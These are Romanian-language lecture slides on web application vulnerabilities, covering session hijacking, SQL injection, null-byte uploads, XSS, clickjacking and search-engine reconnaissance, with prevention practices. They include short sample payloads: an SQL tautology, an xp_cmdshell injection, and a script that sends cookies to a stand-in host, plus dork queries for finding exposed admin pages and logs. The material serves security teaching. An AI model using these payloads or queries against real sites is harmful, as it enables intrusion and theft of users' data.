vulnerabilitatileaplicatiilor web

Dr. Sabin Buraga

www.purl.org/net/busaco

@busaco

“Ceea ce se vede pe un obiecteste alt obiect ascuns.”

René Magritte

ce inseamna securitatea datelor?

securitatea este procesul de mentinerea unui nivel acceptabil de risc perceptibil

security is a process, not an end state

Mitch Kabay

securitatea datelor

confidentialitateaautentificareaautorizareaintegritatea

nerepudiereaintimitatea (privacy)

disponibilitatea

confidentialitatea

imposibilitatea unei terte entitati sa aiba accesla datele vehiculate intre doi receptori

autentificarea

presupune verificarea identitatii utilizatorului

autentificarea

presupune verificarea identitatii utilizatorului

uzual, pe baza de nume + parola

autorizarea

specifica actiunile (rolurile) pe care un utilizatorle poate realiza intr-un anumit context

autorizarea

asociata autentificarii

integritatea

implica detectarea incercarilor de modificareneautorizata a datelor transmise

nerepudierea

asigura ca expeditorul unui mesaj nu poate afirmaca nu l-a trimis

disponibilitatea

o anumita resursa este necesar sa poata fi accesatala momentul oportun

intimitatea

vizeaza drepturile ce trebuie respectateprivind caracterul (subiectul) datelor vehiculate

intimitatea

confundata, deseori, cu confidentialitatea

securitatea webtrebuie sa ia in consideratie

clientul

interactiunea cu utilizatorul

datele personale stocate:cookie-uri, date off-line, cache etc.

transferurile asincronevia Ajax/Comet

existenta plugin-urilor si/sauextensiilor suspecte

…

securitatea webtrebuie sa ia in consideratie

datele in tranzit

securitatea retelei schimbul sigur de mesaje intre diverse entitati

ne-repudierea datelor…

securitatea webtrebuie sa ia in consideratie

serverul

securitatea serverului/serverelor Websecuritatea aplicatiilor

disponibilitatea serviciilor

securitatea webtrebuie sa ia in consideratie

clientuldatele in tranzit

serverul

securitatea webtrebuie sa ia in consideratie

clientuldatele in tranzit

serverul

atacurile pot viza oricare din cele 3 aspecte!

vulnerabilitati

slabiciuni ale unui sistemhardware/software ce permit

utilizatorilor neautorizatisa aiba acces asupra lui

vulnerabilitati

slabiciuni ale unui sistemhardware/software ce permit

utilizatorilor neautorizatisa aiba acces asupra lui

pot aparea si datoritaproastei administrari

nici un sistem nu este 100% sigur

modus operandi

1examinarea mediului

identificarea serviciilor publice

descoperireatipurilor + versiunilor aplicatiilor

generarea de erori &examinarea mesajelor obtinute

gasirea de informatii sensibile:cod-sursa, comentarii,

cimpuri ascunse ale formularelor,…

modus operandi

2stabilirea tintei atacului

mecanismul de autentificare (login)

cimpurile de intrare ale formularelor web

managementul sesiunilor

infrastructura folosita:serverele de stocare a datelor,

serviciile aditionale – e.g., proxy,…

care sunt cele mai uzuale tipuri de atacuri?

la nivel de HTTP

analizarea pachetelor de date (network sniffing)

functioneaza pentru fluxuri de dateHTTP necriptate

Wireshark – consultarea datelor transmise in retea

la nivel de HTTP

analizarea pachetelor de date (network sniffing)

solutie de prevenire:HTTPS

folosirea HTTP peste (W)TLS(Wireless) Transport Layer Security

la nivel de HTTP

deturnarea sesiunilor (session hijacking)

atacatorul determina SID-ul utilizatorului si il foloseste in scop propriu

la nivel de HTTP

deturnarea sesiunilor (session hijacking)

analizarea campului Refererdintr-un mesaj de cerere HTTP

Referer:https://www.ebank.info/view/account?id=98755&jsessid=BAC13606AC22B81E5137F45F95EE7573

la nivel de HTTP

deturnarea sesiunilor (session hijacking)

solutii de prevenire:

eliminarea SID-ului din URLstocarea SID-ului in campul User-Agent

utilizarea unui SID variabil

SQL injection

scrierea unor interogari SQL care permit afisarea, alterarea, stergerea de date din baze de datevia formulare web ori direct, folosind URL-uri

SQL injection

select * from customerswhere name=$name and pass=$pass

$name preluat din formular,cu valoarea '' or 1=1 --

SQL injection

http://e-bankk.org/clients.php?client=3

in programul PHP exista:

select credit_card from clientswhere client=$client

SQL injection

http://e-bankk.org/clients.php?client=3

in programul PHP exista:

select credit_card from clientswhere client=$client

ce se intimpla daca URI-ul estehttp://e-bankk.org/clients.php?client=client ?

SQL injection

variatie:crearea de interogari SQL incorecte

pentru obtinerea de mesaje de eroare “interesante”

SQL injection

http://www.phunds.biz/search?id=1+OR+gh=1

SQL injection

http://www.phunds.biz/search?id=1+OR+gh=1

atacatorul poate obtine un mesaj precum:

[Microsoft][ODBC SQL Server Driver] [SQL Server] Invalid column name ’gh’.

SELECT group_id, securityName, maxSalesCharge, price, security_id, trade_date FROM fundsWHERE group_id = 1 OR gh=1 ORDER BY price DESC

SQL injection

solutii de prevenire:

neutralizarea meta-caracterelor SQLprepared statements

utilizarea de framework-uri ORM (Object-Relational Mapping)

recurgerea la proceduri stocate…

SQL injection

$sql = "select * from userswhere user = '" . $user . "'";

$rezultat = db_query ("select * from users where user = ?", $user);

incorect

corect

SQL injection + command injection

utilizarea SQL pentru executia de comenzila nivel de shell

din cadrul serverului de baze de date

SQL injection + command injection

SELECT * FROM users WHERE name = 'tuxy' ANDpass = ' '; xp_cmdshell 'taskkill /F /IM

sqlservr.exe' --'

poisonous null-byte attack

folosirea caracterului NULLpentru plasarea de script-uri pe server

ce ulterior pot fi executate

poisonous null-byte attack

atacatorul realizeaza upload-ulunei “imagini” – img.php%00.jpg

“Thank you! See your picture at img.php”

XSS: cross-site scripting

“injectarea”, pentru executia directin navigatorul web, de cod JavaScript

XSS: cross-site scripting

a se vizita si http://ha.ckers.org/xss.html

pentru exemple reale,a se consulta http://xssed.com/

XSS: cross-site scripting

functioneaza mai ales in cadrulsiturilor web interactive:

forumuri, blog-uri, wiki-uri,…

XSS: cross-site scripting

poate conduce sila furtul identitatii (phishing)

sau la plasarea de cod malware la client: CSRF – Cross-Site Request Forgery

in contextul mash-up-urilor, mai ales

XSS: cross-site scripting

<img src="javascript:cod" />

un atacator poate redirectiona utilizatorulspre alt sit, poate preia valori de cookie-uri

ori poate bloca navigatorul web

XSS: cross-site scripting

<script type="text/javascript">document.location.replace (

"http://phurt-uri.org/furt.php" + "?c=" + document.cookie);

</script>

furtul de cookie-uri (hijacking cookies)

clickjacking

folosirea de cod JavaScript pentrua modifica textul redat de navigatorul web

utilizatorului sau pentru a manipulautilizatorul sa viziteze legaturi ascunse

http://jeremiahgrossman.blogspot.com/2008/09/cancelled-clickjacking-owasp-appsec.html

tabnabbing

recurgerea la cod JavaScript pentru a generaintr-un tab al navigatorului o replica

a unui formular de autentificarela un serviciu notoriu – e.g., Facebook, GMail

http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/

exemplu real

pe baza unei vulnerabilitati XSS in filtrul HTMLal MySpace, atunci cind un utilizator vizualiza

profilul lui Tuxy, codul JavaScript il facea automatprieten al lui Tuxy + recurgea la Ajax pentrua insera script-ul malefic in profilul curent

social network worm

dupa 20 de ore, 1005831 cereriMySpace s-a “prabusit”

exemplu real

Google UTF-7 holepaginile 404 oferite de Google nu specificau

codul de caractere utilizat

atacurile XSS codificate ca UTF-7 puteau fi accesatesi executate in cadrul Internet Explorer

http://shiflett.org/blog/2005/dec/googles-xss-vulnerability

probleme cauzate de URI/IRI-uri

inducerea in eroare a utilizatorului

exemplu:

http://www.google.com@63.241.3.69/

probleme cauzate de URI/IRI-uri

codificarea defectuoasaa codurilor hexa

vulnerabilitati la unele servere web

probleme cauzate de URI/IRI-uri

siturile avind domenii internationale(IDN – International Domain Names)atacuri bazate pe homografie

adobe.com ≠ adobe.com

troienii web

situri/aplicatii web aparent folositoare,la care utilizatorul poate ajunge eventual

via redirectare automata

troienii web

extensii sau plug-in-uri care includ cod malitios

troienii web

suplimentar, pot recurge la XSS/CSRFsau la tehnici de tip social engineering

detectarea posibilelor vulnerabilitati– datorate unor configuratii incorecte ori

implicite ale serverelor si/sau aplicatiilor web –se poate realiza apeland la un motor de cautare

detectia versiunilor de softwarecu bug-uri cunoscute

"Apache/2.0.52 server at"

accesul la fisiere .bakinurl:index.php.bak

detectarea paginilor de administrare"admin login "

gasirea unor instalari impliciteintitle:"welcome to" intitle:internet IIS

localizarea interfetelor spre sistemelede baze de date

inurl:main.php phpMyAdmin

cautarea de aplicatii instalate oria fisierelor de jurnalizare

inurl:error.log +filetype:log –cvs

cautarea unor mesaje de eroare generatede aplicatii ori de servere de baze de date"ASP.NET_SessionId" "data source="

vezi si proiectul “Google Hack” Honeypot

http://ghh.sourceforge.net/

securitatea unei aplicatii web

trebuie sa ia in consideratiearhitectura,

logica (functionalitatea),codul-sursa si

continutulin ansamblu

securitatea unei aplicatii web

nu vizeaza vulnerabilitatile sistemului de operareori ale programelor auxiliare

tipuri de vulnerabilitati web tipice

probleme de autentificare

managementul sesiunilor

injectarea de script-uri (XSS)ori comenzi SQL

tipuri de vulnerabilitati web tipice

expunerea – involuntara – a informatiilor“delicate” (information disclosure)

accesul la codul-sursa orila fisierele de configurare a aplicatiei web

managementul incorectal configuratiei aplicatiei

reguli/bune practici (Sverre Huseby, 2004)

do not underestimate the power of the dark side

reguli/bune practici (Sverre Huseby, 2004)

use POST requests when actions have side effects

reguli/bune practici (Sverre Huseby, 2004)

in a server-side context,there is no such thing as client-side security

reguli/bune practici (Sverre Huseby, 2004)

always generate a new session IDonce the user logs in

reguli/bune practici (Sverre Huseby, 2004)

never pass detailed error messages to the client

reguli/bune practici (Sverre Huseby, 2004)

identify every possible meta-characterto a subsystem

reguli/bune practici (Sverre Huseby, 2004)

when possible,pass data separate from control information

reguli/bune practici (Sverre Huseby, 2004)

do not blindly trust the API documentation

reguli/bune practici (Sverre Huseby, 2004)

identify all sources of input to the application

reguli/bune practici (Sverre Huseby, 2004)

when filtering data,use white-listing rather than black-listing

reguli/bune practici (Sverre Huseby, 2004)

create application-level logs

reguli/bune practici (Sverre Huseby, 2004)

never use client-side scripts for security

reguli/bune practici (Sverre Huseby, 2004)

pass as little internal state information as possibleto the client

reguli/bune practici (Sverre Huseby, 2004)

don’t assume that requests will comein a certain order

reguli/bune practici (Sverre Huseby, 2004)

filter all data before including them in a web page,no matter what the origin

reguli/bune practici (Sverre Huseby, 2004)

stick to existing cryptographic algorithms,do not create your own

reguli/bune practici (Sverre Huseby, 2004)

never store clear-text passwords

reguli/bune practici (Sverre Huseby, 2004)

assume that server-side code is availableto attackers

reguli/bune practici (Sverre Huseby, 2004)

security is not a product; it is a process

http://planet-websecurity.org/feed/

http://www.owasp.org/

http://simonwillison.net/tags/security/